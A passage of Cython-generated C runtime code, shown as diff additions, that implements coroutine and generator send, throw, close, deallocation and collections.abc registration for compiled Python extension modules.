__Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot 